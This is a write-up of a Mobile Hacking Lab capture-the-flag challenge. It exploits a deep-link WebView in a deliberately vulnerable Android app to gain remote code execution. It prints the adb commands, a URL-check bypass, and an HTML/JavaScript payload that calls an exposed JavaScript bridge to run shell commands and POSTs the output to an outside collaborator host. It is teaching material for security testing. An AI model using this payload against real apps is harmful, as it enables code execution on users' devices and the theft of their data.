Guess Me (Mobile Hacking Lab)
This post details the steps to gain remote code execution on the Mobile Hacking Lab challenge Guess Me available here:
https://www.mobilehackinglab.com
I really enjoyed this challenge, it was difficult without being unsolvable which is the gold standard for labs in my opinion.
Step 1: Static Analysis of the APK file.
The APK can be recovered from the target device using:
adb shell pm list packages -3
adb shell pm path com.mobilehackinglab.guessme
adb pull /data/app/~~vUT2tqkrcRJ07f9LKAYJZQ==/com.mobilehackinglab.guessme-IvNvHMBrHBJDfLDrnGkaIw==/base.apk
The APK file can be drag and dropped into jadx-gui. The first place to review is the AndroidManifest.xml file to look for exported activities.
<activity
android:name="com.mobilehackinglab.guessme.WebviewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="mhl"
android:host="mobilehackinglab"/>
</intent-filter>
</activity>
The snippet above shows a scheme which fits in with the theme of the challenge which is deep links. Reviewing the code of the WebviewActivity
reveals a number of interesting details.
private final boolean isValidDeepLink(Uri uri) {
if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
return false;
}
String queryParameter = uri.getQueryParameter("url");
return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}
Firstly, the code looks for a uri scheme. Additionally this code looks for a url parameter which must end in "mobilehackinglab.com".
we can assume this looks something like this:
mhl://mobilehackinglab?url=mobilehackinglab.com
If we run adb shell am start -W "mhl://mobilehackinglab?uri=https://www.mobilehackinglab.com"
then the activity will launch and the web page is loaded.
Continuing the review of WebviewActivity shows this section:
public final class MyJavaScriptInterface {
public MyJavaScriptInterface() {
}
@JavascriptInterface
public final void loadWebsite(String url) {
Intrinsics.checkNotNullParameter(url, "url");
WebView webView = WebviewActivity.this.webView;
if (webView == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView = null;
}
webView.loadUrl(url);
}
@JavascriptInterface
public final String getTime(String Time) {
Intrinsics.checkNotNullParameter(Time, "Time");
try {
Process process = Runtime.getRuntime().exec(Time);
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
String readText = TextStreamsKt.readText(reader);
reader.close();
return readText;
} catch (Exception e) {
return "Error getting time";
}
}
}
Two interesting things can be seen here, the first is that JavascriptInterfaces are declared, and in the getTime
function the unsanitised parameter Time
is passed to the Runtime.getRuntime().exec()
function.
Step 2: Formulate Attack
If an attacker can control the webView page which is loaded then that page will have access to the methods defined in the MyJavaScriptInterface class. It will be necessary to bypass the restriction on URLs ending with mobilehackinglab.com
. Once this has been achieved a malicious file will need to be created which interacts with the vulnerable method.
This is confirmed by the attacks outlined in this blog post: https://inesmartins.github.io/exploiting-deep-links-in-android-part-2/index.html
This article says:
"Note that in order for this to work there's an additional requirement, the WebView needs to have JavaScript enabled: webview.getSettings()setJavaScriptEnabled(true);"
The code in WebviewActivity shows that this requirement is met:
WebSettings webSettings = webView.getSettings();
Intrinsics.checkNotNullExpressionValue(webSettings, "getSettings(...)");
webSettings.setJavaScriptEnabled(true);
WebView webView3 = this.webView;
if (webView3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("webView");
webView3 = null;
}
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
Step 3: Bypass URL restriction
I found this part pretty straight forward, I used a technique from web applications. First I tried ?url=https://www.google.com#mobilehackinglabs.com
which didn't work. I then tried ?url=https://www.google.com%3fmobilehackinglabs.com
which loaded the google page.
I can host a file containing an H1 using python3 -m http.server 80
and then run the command like this:
adb shell am start -W "mhl://mobilehackinglab?url=http://192.168.3.4/hello.html%3fmobilehackinglab.com"
On the web server I get the following output:
ubuntu@ubuntu:~/Tools$ cat hello.html
<h1>hello</h1>
ubuntu@ubuntu:~/Tools$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.3.4 - - [14/Jun/2024 21:22:19] "GET /hello.html?mobilehackinglab.com HTTP/1.1" 200 -
192.168.3.4 - - [14/Jun/2024 21:22:19] code 404, message File not found
192.168.3.4 - - [14/Jun/2024 21:22:19] "GET /favicon.ico HTTP/1.1" 404 -
And the activity pops up with <h1>hello</h1>
Step 4: Create Malicious File
We now need to create the malicious file. Referring to the blog above
shows we need the name of the JavascriptInterface, we can see it in the code snippet above as "AndroidBridge". The code for getTime
doesn't show any particular requirements, passing a shell command like getTime("id")
should work.
The file I created looks like this:
<html>
<h1>myfile</h1>
<script>
try {
var result = window.AndroidBridge.getTime("id");
}
catch(e) {
var result = "didnt work: " + e ;
}
var req = new XMLHttpRequest();
req.open("POST", "https://1lnkxeih9ihvwsah9n2xubwd64cv0noc.oastify.com");
req.send(result);
</script>
</html>
I've used Burpsuite's collaborator because I can but nc or other simple webserver tools would be sufficient.
Step 5: Exploit
The malicious file is hosted on my local webserver, the result will be posted to Burpsuite. To execute the exploit I can run:
adb shell am start -W "mhl://mobilehackinglab?url=http://192.168.3.4/exploit.html%3fmobilehackinglab.com"
The activity runs and I can see <h1>myfile</h1>
.
And in collaborator...
POST / HTTP/1.1
Host: 1lnkxeih9ihvwsah9n2xubwd64cv0noc.oastify.com
Connection: keep-alive
Content-Length: 173
User-Agent: Mozilla/5.0 (Linux; Android 11; sdk_gphone_x86 Build/RSR1.210722.013.A2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.83
X-Requested-With: com.mobilehackinglab.guessme
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://192.168.1.83/test.html?mobilehackinglab.com
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
uid=10168(u0_a168) gid=10168(u0_a168) groups=10168(u0_a168),3003(inet),9997(everybody),20168(u0_a168_cache),50168(all_a168) context=u:r:untrusted_app:s0:c168,c256,c512,c768